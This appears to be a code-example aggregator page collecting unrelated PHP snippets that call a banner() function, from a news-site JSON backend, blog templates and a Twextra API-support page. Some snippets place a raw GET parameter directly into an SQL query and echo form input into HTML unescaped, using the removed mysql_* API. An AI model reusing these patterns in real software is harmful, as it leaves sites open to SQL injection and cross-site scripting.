        $sub = subseccion($secinfo['id']);
        if ($secinfo['id'] == 1) {
            if ($subinfo['id'] == 2) {
                $contenido = columna();
            } elseif ($subinfo['id'] == 6) {
                $contenido = articulos($subinfo['id']);
            } else {
                $contenido = opinion($subinfo['id']);
            }
        } elseif ($subinfo['id'] == 49) {
            $str = "SELECT a.idArticulo as id, a.titulo, CONCAT(c.nombres, ' ', c.apellidos) as autor, c.idPersonal as idPersonal,\n\t\t\t\t\ta.preview, c.rutaFoto as foto, a.fecha\n\t\t\t\t\tfrom articulo a, personal as c\n\t\t\t\t\twhere a.idPersonal = c.idPersonal\n\t\t\t\t\tand a.idSubseccion = 49\n\t\t\t\t\tORDER BY a.fecha desc, a.hora desc";
            $query = mysql_query($str);
            while ($result = mysql_fetch_array($query)) {
                $resultado[] = array('id' => $result['id'], 'idPersonal' => $result['idPersonal'], 'foto' => $result['foto'], 'titulo' => $result['titulo'], 'autor' => $result['autor'], 'preview' => $result['preview'], 'fecha' => formatoFecha($result['fecha']));
            }
            $contenido = $resultado;
        } else {
            $contenido = articulos($subinfo['id']);
        }
    } else {
        $error = array('description' => 'ERROR 404...la seccion seleccionada no existe');
    }
} else {
    $error = array('description' => 'ERROR 404...la subseccion seleccionada no existe');
}
echo json_encode(array('contenidos' => $contenido, 'error' => $error, 'secinfo' => $secinfo, 'subinfo' => $subinfo, 'subsecciones' => $sub, 'banner1' => banner($secinfo['id'], 1), 'banner2' => banner($secinfo['id'], 2), 'banner3' => banner($secinfo['id'], 3), 'bannerMovil' => banner($secinfo['id'], 'movil'), 'leidos' => leidos($secinfo['id'])));
Esempio n. 21
0
<?php

include 'connection.php';
include 'funciones.php';
error_reporting(E_ERROR | E_WARNING | E_PARSE);
$editdata = json_decode(file_get_contents("php://input"));
date_default_timezone_set('America/El_Salvador');
$soninfo = mysql_query("SELECT idSondeo, titulo, pregunta, fecha, rutaFoto as foto\n\t\t\t\t\t\t\t\t\t\t\tFROM sondeo\n                      WHERE activo = 1 and pagado = 1\n                      order by fecha desc, hora desc\n                      limit 1");
$sonpreview = mysql_fetch_row($soninfo);
$sondeo[] = array('idSondeo' => $sonpreview[0], 'titulo' => $sonpreview[1], 'pregunta' => $sonpreview[2], 'fecha' => formatofecha2($sonpreview[3]), 'foto' => $sonpreview[4], 'respuestas' => respuestas($sonpreview[0]), 'total' => maxTotal($sonpreview[0]));
echo json_encode(array('contenido' => $sondeo, 'subsecciones' => subseccion(1), 'banner1' => banner(1, 1), 'banner2' => banner(1, 2), 'banner3' => banner(1, 3), 'bannerMovil' => banner(1, 'movil'), 'leidos' => leidos(1)));
Esempio n. 22
0
    <ul>
        <?php 
$config = array('skin' => 'basic2', 'brd_id' => '', 'limit' => 5, 'length' => 20, 'is_gallery' => '', 'image_width' => '', 'image_height' => '', 'cache_minute' => 1);
echo $this->board->latest($config);
?>
    </ul>
</div>
<!-- sidebar_latest end -->
<!-- sidebar_latest start -->
<div class="sidebar_latest">
    <div class="headline">
        <h3>최근 댓글</h3>
    </div>
     <ul>
        <?php 
$config = array('skin' => 'basic2', 'brd_id' => '', 'limit' => 5, 'length' => 20, 'cache_minute' => 1);
echo $this->board->latest_comment($config);
?>
    </ul>
</div>
<!-- sidebar_latest start -->
<div class="sidebar_latest">
    <div class="headline">
            <h3>배너</h3>
    </div>
    <?php 
echo banner($position = 'sidebar', $type = 'order', $limit = '1', $start_tag = '', $end_tag = '');
?>
</div>

<!-- sidebar_latest end -->
Esempio n. 23
0
            } else {
                goto fim_;
            }
            $id_pages++;
        }
        fim_:
        echo cores("g2") . "'-----------------------------------------------------------------------------'\n";
    }
    saida:
}
####################################################################################################
## CONFIGS
$OPT = array();
$OPT["db"] = array(0);
if (!isset($oo["banner-no"])) {
    echo banner();
}
if (isset($oo["h"]) or isset($oo["help"])) {
    echo help();
}
if (isset($oo["a"]) or isset($oo["about"])) {
    echo about();
}
if (isset($oo["s"])) {
    $OPT["find"] = $oo["s"];
} else {
    $O = 1;
}
if (isset($oo["search"])) {
    $OPT["find"] = $oo["search"];
} else {
Esempio n. 24
0
<html>
    <?php 
$movies = findAllKevins($db, $firstname, $lastname);
// $actorfname = $movies[0]["first_name"];
// $actorlname = $movies[0]["last_name"];
if (count($movies) == 0) {
    notFound($firstname, $lastname);
    return;
}
head();
?>

    <body>
        <div id = "frame">
            <?php 
banner();
?>
            <div id = "main">
                <h1>All Films with <?php 
echo $firstname;
?>
 <?php 
echo $lastname;
?>
 and Kevin Bacon</h1>
                <table>    
                    <tr>
                        <th>#</th>
                        <th>Name</th>
                        <th>Year</th>
                    </tr>
Esempio n. 25
0
<?php

include 'connection.php';
include 'funciones.php';
error_reporting(E_ERROR | E_WARNING | E_PARSE);
$editdata = json_decode(file_get_contents("php://input"));
date_default_timezone_set('America/El_Salvador');
$subseccion = $_GET['subseccion'];
/*$seccion = 'deportes';
$subseccion = 'acontecerdeportivo';*/
$contenido = '';
$subinfo = '';
$secinfo = '';
$error = '';
$sub = '';
$subvalidate = mysql_query("SELECT idSubseccion, nombre, url from subseccion where url='{$subseccion}'");
if ($subvalidate) {
    $subprev = mysql_fetch_row($subvalidate);
    $subinfo = array('id' => $subprev[0], 'nombre' => $subprev[1], 'url' => $subprev[2]);
    $sub = subseccion(1);
    $coninfo = mysql_query("SELECT a.idColumna as id, CONCAT(c.nombres, ' ', c.apellidos) as autor, a.titulo, a.fecha, c.idPersonal as idPersonal, se.nombre as subseccion, se.url as urlSubseccion\n  \t\t\t\tfrom personal as c, columna as a, subseccion se\n  \t\t\t\twhere c.idPersonal = a.idPersonal and a.activo = 1 and  a.idSubseccion = " . $subinfo['id'] . " and a.idSubseccion = se.idSubseccion and a.idSubseccion not in (1,2,3,4,5,6)\n  \t\t\t\tORDER BY a.fecha desc, a.hora desc");
    while ($result = mysql_fetch_array($coninfo)) {
        $resultado[] = array('id' => $result['id'], 'idPersonal' => $result['idPersonal'], 'subseccion' => $result['subseccion'], 'urlSubseccion' => $result['urlSubseccion'], 'titulo' => $result['titulo'], 'autor' => $result['autor'], 'fecha' => formatoFecha($result['fecha']));
    }
} else {
    $error = array('description' => 'ERROR 404...la seccion seleccionada no existe');
}
echo json_encode(array('contenidos' => $resultado, 'error' => $error, 'subinfo' => $subinfo, 'subsecciones' => $sub, 'fotogalerias' => fotogaleria(), 'actualidades' => actualidad(), 'banner1' => banner(1, 1), 'banner2' => banner(1, 2), 'bannerMovil' => banner(1, 'movil'), 'leidos' => leidos(1)));
Esempio n. 26
0
<!DOCTYPE html>
<html>
	<head>
		<title>BC - About Us</title>

		<?php 
include "../common.php";
head("..");
?>
	</head>

	<body>
		<div id="uw-container">
			<div id="uw-container-inner">
				<?php 
echo banner("..");
?>
				<div class="container uw-body">
					<div class="row">
						<div class="col-md-8 uw-content">
							<h1 class="about">About Us</h1>
							<div class="profile">
								<h2>Jack Berryman</h2>
								<h3>Professor & Lead</h3>
								<img src="../images/aboutus/jack.jpg" alt="Picture of Jack"/>
								<p><strong>Professor</strong> - Medical History & <strong>Director</strong> - Bioethics Minor Program</p>
								<p>At the University of Washington, Dr. Berryman teaches classes which examine the historical context of modern medicine, personal health practices, various concepts of the body in different cultures, and the evolution of thought and practice relating to exercise science and sports medicine. His classes are offered to undergraduate, graduate, and professional students.</p>
							</div>

							<div class="profile">
								<h2>John Gerhard </h2>
Esempio n. 27
0

<div id="content" class="inner-content-category sep">

  <header class="head-line">
    <h1><?php 
single_tag_title();
?>
</h1>
  </header>

  <?php 
locate_template(array('/layouts/formats/action-featured.php'), true);
?>
  <?php 
banner('type-f');
?>


  <!-- Start Articles Loop -->
  <?php 
$tag = get_query_var('tag');
$args = array('tag' => $tag, 'posts_per_page' => 8, 'offset' => 1, 'post_type' => 'any', 'order' => 'DESC');
$tag_posts = new WP_Query($args);
?>


  <section class="article-list sep" role="region">

    <header class="head-line">
      <h2>M&aacute;s Noticias</h2>
Esempio n. 28
0
    $periodismo[] = array('id' => $id = $perpreview['id'], 'idPersonal' => $idPersonal = $perpreview['idPersonal'], 'foto' => $foto = $perpreview['foto'], 'titulo' => $titulo = $perpreview['titulo'], 'autor' => $autor = $perpreview['autor'], 'preview' => $preview = $perpreview['preview'], 'fecha' => $fecha = formatoFecha($perpreview['fecha']), 'subseccion' => $subseccion = $perpreview['subseccion'], 'fotografo' => $fotografo = $perpreview['fotografo']);
}
while ($intpreview = mysql_fetch_array($intinfo)) {
    $internacional[] = array('id' => $id = $intpreview['id'], 'idPersonal' => $idPersonal = $intpreview['idPersonal'], 'url' => $url = $intpreview['url'], 'foto' => $foto = $intpreview['foto'], 'titulo' => $titulo = $intpreview['titulo'], 'autor' => $autor = $intpreview['autor'], 'preview' => $preview = $intpreview['preview'], 'fecha' => $fecha = formatoFecha($intpreview['fecha']), 'subseccion' => $subseccion = $intpreview['subseccion'], 'fotografo' => $fotografo = $intpreview['fotografo']);
}
while ($culpreview = mysql_fetch_array($culinfo)) {
    $cultura[] = array('id' => $id = $culpreview['id'], 'idPersonal' => $idPersonal = $culpreview['idPersonal'], 'url' => $url = $culpreview['url'], 'foto' => $foto = $culpreview['foto'], 'titulo' => $titulo = $culpreview['titulo'], 'autor' => $autor = $culpreview['autor'], 'preview' => $preview = $culpreview['preview'], 'fecha' => $fecha = formatoFecha($culpreview['fecha']), 'subseccion' => $subseccion = $culpreview['subseccion'], 'fotografo' => $fotografo = $culpreview['fotografo']);
}
while ($polpreview = mysql_fetch_array($polinfo)) {
    $politica[] = array('id' => $id = $polpreview['id'], 'idPersonal' => $idPersonal = $polpreview['idPersonal'], 'url' => $url = $polpreview['url'], 'foto' => $foto = $polpreview['foto'], 'titulo' => $titulo = $polpreview['titulo'], 'autor' => $autor = $polpreview['autor'], 'preview' => $preview = $polpreview['preview'], 'fecha' => $fecha = formatoFecha($polpreview['fecha']), 'subseccion' => $subseccion = $polpreview['subseccion'], 'fotografo' => $fotografo = $polpreview['fotografo']);
}
while ($anepreview = mysql_fetch_array($aneinfo)) {
    $anecdota[] = array('id' => $id = $anepreview['id'], 'idPersonal' => $idPersonal = $anepreview['idPersonal'], 'foto' => $foto = $anepreview['foto'], 'titulo' => $titulo = $anepreview['titulo'], 'autor' => $autor = $anepreview['autor'], 'preview' => $preview = $anepreview['preview'], 'fecha' => $fecha = formatoFecha($anepreview['fecha']), 'subseccion' => $subseccion = $anepreview['subseccion'], 'fotografo' => $fotografo = $anepreview['fotografo']);
}
while ($entpreview = mysql_fetch_array($entinfo)) {
    $entrevista[] = array('id' => $id = $entpreview['id'], 'idPersonal' => $idPersonal = $entpreview['idPersonal'], 'foto' => $foto = $entpreview['foto'], 'titulo' => $titulo = $entpreview['titulo'], 'autor' => $autor = $entpreview['autor'], 'preview' => $preview = $entpreview['preview'], 'fecha' => $fecha = formatoFecha($entpreview['fecha']), 'subseccion' => $subseccion = $entpreview['subseccion'], 'fotografo' => $fotografo = $entpreview['fotografo'], 'fotoautor' => $fotoautor = $entpreview['fotoautor']);
}
while ($rompreview = mysql_fetch_array($rominfo)) {
    $rompiendo[] = array('id' => $id = $rompreview['id'], 'idPersonal' => $idPersonal = $rompreview['idPersonal'], 'foto' => $foto = $rompreview['foto'], 'titulo' => $titulo = $rompreview['titulo'], 'autor' => $autor = $rompreview['autor'], 'preview' => $preview = $rompreview['preview'], 'fecha' => $fecha = formatoFecha($rompreview['fecha']), 'subseccion' => $subseccion = $rompreview['subseccion'], 'fotografo' => $fotografo = $rompreview['fotografo'], 'fotoautor' => $fotoautor = $rompreview['fotoautor']);
}
while ($edipreview = mysql_fetch_array($ediinfo)) {
    $editorial[] = array('id' => $id = $edipreview['id'], 'preview' => $preview = $edipreview['preview'], 'titulo' => $titulo = $edipreview['titulo']);
}
while ($conpreview = mysql_fetch_array($coninfo)) {
    $contratabu[] = array('id' => $id = $conpreview['id'], 'foto' => $foto = $conpreview['foto'], 'titulo' => $titulo = $conpreview['titulo'], 'autor' => $autor = $conpreview['autor'], 'preview' => $preview = $conpreview['preview'], 'fecha' => $fecha = formatoFecha($conpreview['fecha']), 'subseccion' => $subseccion = $conpreview['subseccion'], 'fotografo' => $fotografo = $conpreview['fotografo']);
}
while ($esppreview = mysql_fetch_array($espinfo)) {
    $especial[] = array('id' => $id = $esppreview['id'], 'foto' => $foto = $esppreview['foto'], 'titulo' => $titulo = $esppreview['titulo'], 'autor' => $autor = $esppreview['autor'], 'preview' => $preview = $esppreview['preview'], 'fecha' => $fecha = formatoFecha($esppreview['fecha']), 'subseccion' => $subseccion = $esppreview['subseccion'], 'idPersonal' => $idPersonal = $esppreview['idPersonal'], 'urlSeccion' => $urlSeccion = $esppreview['urlSeccion'], 'urlSubseccion' => $urlSubseccion = $esppreview['urlSubseccion'], 'fotografo' => $fotografo = $esppreview['fotografo']);
}
echo json_encode(array('columnistas' => $columnista, 'actualidades' => $actualidad, 'control' => $control, 'tribunas' => $tribuna, 'negocios' => $negocio, 'coyunturas' => $coyuntura, 'analisiss' => $analisis, 'libertades' => $libertad, 'sociedades' => $sociedad, 'resenas' => $resena, 'academias' => $academia, 'deportes' => $deporte, 'periodismos' => $periodismo, 'culturas' => $cultura, 'internacionales' => $internacional, 'politicas' => $politica, 'anecdotas' => $anecdota, 'entrevistas' => $entrevista, 'rompiendos' => $rompiendo, 'editoriales' => $editorial, 'contratabues' => $contratabu, 'especiales' => $especial, 'fotogalerias' => fotogaleria(), 'banner1' => banner(8, 1), 'banner2' => banner(8, 2), 'banner3' => banner(8, 3), 'banner4' => banner(8, 4), 'banner5' => banner(8, 5), 'banner5' => banner(8, 5), 'banner6' => banner(8, 6), 'banner7' => banner(8, 7), 'banner8' => banner(8, 8), 'banner9' => banner(8, 9), 'banner10' => banner(8, 10), 'banner11' => banner(8, 11), 'banner12' => banner(8, 12), 'banner13' => banner(8, 13), 'banner14' => banner(8, 14), 'banner15' => banner(8, 15), 'banner16' => banner(8, 16), 'banner17' => banner(8, 17), 'banner18' => banner(8, 18), 'banner19' => banner(8, 19), 'banner20' => banner(8, 20), 'bannerMovil' => banner(8, 'movil'), 'sondeo' => primerSondeo(), 'caricaturas' => caricatura()));
Esempio n. 29
0
<?php

include 'connection.php';
include 'funciones.php';
error_reporting(E_ERROR | E_WARNING | E_PARSE);
date_default_timezone_set('America/El_Salvador');
echo json_encode(array('centroamericas' => articulo(42), 'latinoamericas' => articulo(43), 'globales' => articulo(44), 'subsecciones' => subseccion(3), 'banner1' => banner(3, 1), 'banner2' => banner(3, 2), 'banner3' => banner(3, 3), 'banner4' => banner(3, 4), 'bannerMovil' => banner(3, 'movil'), 'leidos' => leidos(3)));
Esempio n. 30
-1
function display_api_support($screen_name = '', $data)
{
    //configuration parameters:
    $config_params = Config::getConfigParams();
    $css = $config_params['css'];
    $tweet_size_max = $config_params['tweet_size_max'];
    $tweet_size_max_google = $config_params['tweet_size_max_google'];
    $hostname = $config_params['hostname'];
    $doctype = $config_params['doctype'];
    $html_attribute = $config_params['html_attribute'];
    $banner = banner('', 'banner');
    //(user, banner_class)
    $footer = $config_params['footer'];
    //
    $docroot = $config_params['docroot'];
    $godaddy_analytics = $config_params['godaddy_analytics'];
    $debug = $config_params['debug'];
    $enable_stats = $config_params['enable_stats'];
    $script_path = __FUNCTION__;
    $email = '';
    $firstname = '';
    $lastname = '';
    $application = '';
    $company = '';
    $web_site = '';
    $twextra_key = '';
    $error = '';
    $error_email = '';
    $error_firstname = '';
    $error_lastname = '';
    $error_application = '';
    $error_company = '';
    $error_web_site = '';
    //save logs
    if ($enable_stats) {
        $model = new TwextraModel();
        //
        $model->saveStat();
    }
    if ($screen_name == '' && $data['submit'] == 'Submit') {
        $error = "<h2 style='color: red' >In order to get Twextra key, please authenticate with Twitter by pressing \n    \tthe 'Sign in with Twitter' button at the top right of this page. </h2>";
    }
    if ($screen_name != '' && $data['submit'] == 'Submit') {
        //store user data->get twextra key -> display key -> suppress the form
        $email = $data['email'];
        $firstname = $data['firstname'];
        $lastname = $data['lastname'];
        $application = $data['application'];
        $company = $data['company'];
        $web_site = $data['web_site'];
    }
    if ($data['clear'] == 'Clear') {
        $email = $firstname = $lastname = $application = $company = $web_site = '';
    }
    //validate user input
    if ($data['submit'] == 'Submit') {
        $email_pattern = "/^.+@.+\\..+/";
        $email_validate = preg_match($email_pattern, $email);
        if (!$email_validate) {
            $error_email = 1;
        }
        if (empty($firstname)) {
            $error_firstname = 1;
        }
        if (empty($lastname)) {
            $error_lastname = 1;
        }
        if (empty($application)) {
            $error_application = 1;
        }
        if (empty($company)) {
            $error_company = 1;
        }
        if (empty($web_site)) {
            $error_web_site = 1;
        }
    }
    if ($error_email) {
        $api_email = 'api_error';
    } else {
        $api_email = '';
    }
    if ($error_firstname) {
        $api_firstname = 'api_error';
    } else {
        $api_firstname = '';
    }
    if ($error_lastname) {
        $api_lastname = 'api_error';
    } else {
        $api_lastname = '';
    }
    if ($error_application) {
        $api_application = 'api_error';
    } else {
        $api_application = '';
    }
    if ($error_company) {
        $api_company = 'api_error';
    } else {
        $api_company = '';
    }
    if ($error_web_site) {
        $api_web_site = 'api_error';
    } else {
        $api_web_site = '';
    }
    if (($api_email || $api_firstname || $api_lastname || $api_application || $api_company || $api_web_site) && empty($error)) {
        $error = "<span class='api_error'>Please fill in info for the fields marked in red.</span>";
    }
    if (!$error_email && !empty($firstname) && !empty($lastname) && !empty($application) && !empty($company) && !empty($web_site) && $data['submit'] == 'Submit') {
        $model = new TwextraModel();
        $twextra_key = $model->get_twextra_key($email, $firstname, $lastname, $application, $company, $web_site, $screen_name);
        $model->update_api_tables($email, $firstname, $lastname, $application, $company, $web_site, $screen_name, $twextra_key);
        mail('contact@twextra.com', 'New Twextra Key generated', "A New Twextra Key has been generated.");
    }
    $header = header_html($prefix);
    //
    //..........................................................
    header("Pragma: no-cache");
    header("cache-Control: no-cache, must-revalidate");
    // HTTP/1.1
    header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
    // Date in the past
    $message = '';
    $message .= $doctype;
    $message .= "<html {$html_attribute} >\n";
    $message .= $header;
    $message .= "<body>\n";
    $message .= "<div class='p5_wrapper'>\n";
    $message .= "<div class='p5_page'>\n";
    $message .= $banner;
    $message .= "<div style='margin-left:auto;margin-right:auto;margin-bottom:20px;width:768px;font-size:0.8em;' >\n";
    //p5_main
    $message .= "<h3>API Support</h3>";
    $message .= "API support is available for posting messages to Twitter using Twextra's  RESTful API.\nPlease fill out the following form to get your Twextra key.";
    $message .= "<br /><br />";
    if ($twextra_key != '') {
        //$email=$firstname=$lastname=$application=$company='';
    }
    $message .= "<div>\n\t  <form method='POST' action='api_support.php'>\n\t                  <p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n\t              <span class='{$api_email}'>Email:</span> <input type='text' name='email' value='{$email}' size='40' maxlength= '100' /></p>\n\t     <p>&nbsp;<span class='{$api_firstname}'>First Name:</span> <input type='text' name='firstname' value = '{$firstname}'  size='40' maxlength= '100' /></p>\n\t     <p>&nbsp;<span class='{$api_lastname}'>Last Name:</span> <input type='text' name='lastname' value = '{$lastname}'  size='40' maxlength= '100' /></p>\n\t     <p>&nbsp;<span class='{$api_application}'>Application:</span> <input type='text' name='application' value = '{$application}'  size='40' maxlength= '100' /></p>\n\t     <p>&nbsp;&nbsp;&nbsp;<span class='{$api_company}'>Company:</span> <input type='text' name='company' value = '{$company}'  size='40' maxlength= '100' /></p>\n\t     <p>&nbsp;&nbsp;&nbsp;&nbsp;<span class='{$api_web_site}'>Web-Site:</span> <input type='text' name='web_site' value = '{$web_site}'  size='40' maxlength= '100' /></p>\n\t     <p>\n\t     &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n\t     &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n\t     <input type='submit' name='submit' value='Submit' />&nbsp;&nbsp;&nbsp;&nbsp;\n\t     <input type='submit' name='clear' value='Clear' /></p> \n\t  </form>\n\t                  \n\t</div>";
    if ($error != '') {
        $message .= $error;
    }
    if ($twextra_key != '') {
        $message .= "<h2 style='color: blue' >Thank you for registering your application. Your Twextra Key is: {$twextra_key}</h2>";
    }
    $message .= "<h3>Overview</h3>  \n\nThe Twextra Twitter API lets you post large messages (upto 100,000 characters) to Twitter. It is used with normal HTTP POST \nrequests.  The API uses Twitter's OAuth method to authenticate the identity of a Twitter user.</p>";
    $message .= "<h3>Method: upload </h3>\n\n<h3>URL: http://twextra.com/router.php </h3>\n\n\n<h3 class='api_h3' >Fields</h3>\n<pre style='font-size:15px;'>\n       route\n       editor\n       twextra_key\n       twitter_user_id\n       twitter_access_token\n       twitter_access_token_secret\n       social\n</pre>";
    $message .= "<h3>Format: json</h3>";
    $message .= '<h3>Sample json response</h3><pre style="font-size:12px;">
{
	"place":null,
	"in_reply_to_screen_name":null,
	"retweeted":false,
	"coordinates":null,
	"geo":null,
	"source":"http://twextra.com",
	"retweet_count":null,
	"favorited":false,
	"in_reply_to_status_id":null,
	"created_at":"Mon Oct 18 06:39:31 +0000 2010",
	"in_reply_to_user_id":null,
	"user":{
		"listed_count":0,
		"verified":false,
		"description":null,
		"follow_request_sent":false,
		"profile_sidebar_fill_color":"DDEEF6",
		"time_zone":"Pacific Time (US & Canada)",
		"profile_sidebar_border_color":"C0DEED",
		"followers_count":0,"url":null,
		"show_all_inline_media":false,
		"notifications":false,
		"profile_use_background_image":true,
		"friends_count":4,
		"lang":"en",
		"statuses_count":871,
		"created_at":"Tue Aug 10 06:24:42 +0000 2010",
		"profile_background_color":"C0DEED",
		"profile_image_url":"http://s.twimg.com/a/1287010001/images/default_profile_5_normal.png",
		"location":null,
		"profile_background_image_url":"http://s.twimg.com/a/1287010001/images/themes/theme1/bg.png",
		"favourites_count":1,"protected":true,"contributors_enabled":false,
		"profile_text_color":"333333",
		"screen_name":"your screen name",
		"name":"your name",
		"following":false,
		"geo_enabled":false,
		"profile_background_tile":false,
		"id":nnnnnnnnn,"utc_offset":-28800,
		"profile_link_color":"0084B4"
	},
			
	"contributors":null,
	"id":nnnnnnnnnnn,
	"truncated":false,
	"text":"your message prefix... http://twextra.com/5252h3",
	"success":"Your message was posted successfully."
}</pre>
	';
    $message .= '<h3>Sample curl command</h3><pre style="font-size:12px;">
curl  http://twextra.com/router.php  
-X POST 
-d route="tweet_post" 
-d editor1="message to be posted" 
-d twextra_key="mmmmmmmm" 
-d twitter_user_id="nnnnnnnn" 
-d twitter_access_token="twitter access token value"  
-d twitter_access_token_secret="twitter access token secret value" 
-d social="twitter"</pre>';
    $message .= "<br style='clear:both;' />";
    $message .= "</div>\n";
    //p5_main
    $message .= $footer;
    $message .= "</div>\n";
    //page
    $message .= "</div>\n";
    //wrapper
    $message .= $godaddy_analytics;
    $message .= "</body>\n</html>\n";
    echo $message;
}